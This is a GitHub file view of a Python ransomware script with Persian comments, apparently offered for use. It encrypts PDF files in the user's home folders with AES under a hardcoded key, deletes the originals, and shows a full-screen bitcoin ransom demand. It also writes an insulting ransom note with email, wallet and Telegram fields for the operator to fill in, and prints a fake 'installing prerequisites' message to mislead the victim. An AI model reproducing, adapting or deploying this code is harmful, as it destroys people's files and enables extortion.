-
Notifications
You must be signed in to change notification settings - Fork 0
/
ransomware.py
218 lines (130 loc) · 6.37 KB
/
ransomware.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
# ایمیلون برای اینکه داخل تکست فایل برای گرفتن پسورد نمایش داده بشه
email = ''
# ادرس ولتتون
BTC = ''
# در لاین 121 و 126 پسورد خودتون رو بگذارید
import os
try:import glob
except ModuleNotFoundError:os.system("pip install glob")
try:from tkinter import font;import tkinter as tk;from tkinter import *
except ModuleNotFoundError:os.system("pip install tkinter")
try:import pyaes
except ModuleNotFoundError:os.system("pip install pyaes")
try:from pathlib import Path
except ModuleNotFoundError:os.system("pip install pathlib")
try:from colorama import init
except ModuleNotFoundError:
os.system("pip install colorama")
init()
import platform
#فرمت هایی که میخواید رمزنگاری بشه
lst_arq = ["*.pdf"]
gre,go,re = '\033[01;32m', '\033[00;32m','\033[01;31m'
f = platform.uname()
dir = ("Desktop", "Downloads", "Documents", "Music", "Pictures", "Videos")
print(f"""{go}
(_) / |_ [ | [ |
__ _ .--. .--. `| |-' ,--. | | | |
[ | [ `.-. | ( (`\] | | `'_\ : | | | |
| | | | | | `'.'. | |, // | |, | | | |
[___] [___||__] [\__) ) \__/ \'-;__/ [___] [___]
""")
print (f"{re}=========================================")
print (f"{re}[!] {gre}Installing prerequisites... Please wait 5 minutes")
for List in dir:
try:desktop = Path.home() / List
except Exception:pass
if 'Linux' in f:pass
if 'Windows' in f:os.chdir(desktop)
def DECRYPT_FILE():
root= tk.Tk()
width = root.winfo_screenwidth()
height = root.winfo_screenheight()
canvas1 = tk.Canvas(root, width = width, height = height, bg='black')
canvas1.pack() #متن دلخواه یا چیزی که میخواید برای تارگت داخل یک پنجره به نمایش باید
label1 = tk.Label(root, text='! ! ! Hello fool ! ! !')
label1.config(font=('Algerian', int(height/13)))
label1.config(background='black', foreground='red')
canvas1.create_window(int(width/2), int(height/15), window=label1)
label2 = tk.Label(root, text='All files are encrypted with the drive!')
label2.config(font=('Chiller', int(height/20)))
label2.config(background='black', foreground='red')
canvas1.create_window(int(width/2), int(height/20)*8, window=label2)
label3 = tk.Label(root, text='Transfer and send a message to the email to receive the bitcoin key ')
label3.config(font=('Ink Free', int(height/30)))
label3.config(background='black', foreground='green')
canvas1.create_window(int(width/2), int(height/20)*9, window=label3)
label4 = tk.Label(root, text=f'[+] email : {email}')
label4.config(font=('helvetica', int(height/50)))
label4.config(background='green', foreground='red')
canvas1.create_window(int(width/2), int(height/20)*10, window=label4)
label5 = tk.Label(root, text=f'[+] BTC : {BTC}')
label5.config(font=('helvetica', int(height/50)))
label5.config(background='green', foreground='red')
canvas1.create_window(int(width/2), int(height/20)*11, window=label5)
root.mainloop()
def criptografando():
for files in lst_arq:
for format_file in glob.glob(files):
try:
s = open(f'{desktop}/{format_file}', 'rb')
except:
s = open(f'{desktop}\\{format_file}', 'rb')
file_data = s.read()
s.close()
try:
os.remove(f'{desktop}/{format_file}')
except:
os.remove(f'{desktop}\\{format_file}')
key = b"0ec959fba714573c6a1ccba57113d4a5" # پسورد 16 بایتی
aes = pyaes.AESModeOfOperationCTR(key)
crypto_data = aes.encrypt(file_data)
new_file = format_file + ".Felurm"
try:
new_file = open(f'{desktop}/{new_file}', 'wb')
except:
new_file = open(f'{desktop}\\{new_file}', 'wb')
new_file.write(crypto_data)
new_file.close()
msg = f'''
You look stupid!
Now you can get the password whenever you put the currency
------------------------------------------------------------
email : {email}
0.00050 BTC : {BTC}
------------------------------------------------------------
id telegram : serverkill3r
'''
fp = open('clown.txt', 'w')
fp.writelines(msg)
fp.close
def descrypt(dec_fi):
try:
for file in glob.glob('*.Felurm'):
keybytes = dec_fi.encode()
name_file = open(file, 'rb')
file_data = name_file.read()
dkey = keybytes # 16 bytes key - change for your key
daes = pyaes.AESModeOfOperationCTR(dkey)
decrypt_data = daes.decrypt(file_data)
format_file = file.split('.')
new_file_name = format_file[0] + '.' + format_file[1] # Path to drop file
try:dnew_file = open(f'{desktop}/{new_file_name}', 'wb')
except:dnew_file = open(f'{desktop}\\{new_file_name}', 'wb')
dnew_file.write(decrypt_data)
dnew_file.close()
except ValueError as err:print('Installing.. ')
criptografando()
DECRYPT_FILE()
while True:
if criptografando:
key = input(f'\n{go} Key to decrypt files : ')
if key == '0ec959fba714573c6a1ccba57113d4a5':
descrypt(key)
for del_file in glob.glob('*.Felurm'):
try:os.remove(f'{desktop}/{del_file}')
except:os.remove(f'{desktop}\\{del_file}')
print(f"{gre} Bye Bye !\n")
break
else:print(f"{re}The password is wrong! !\n")
break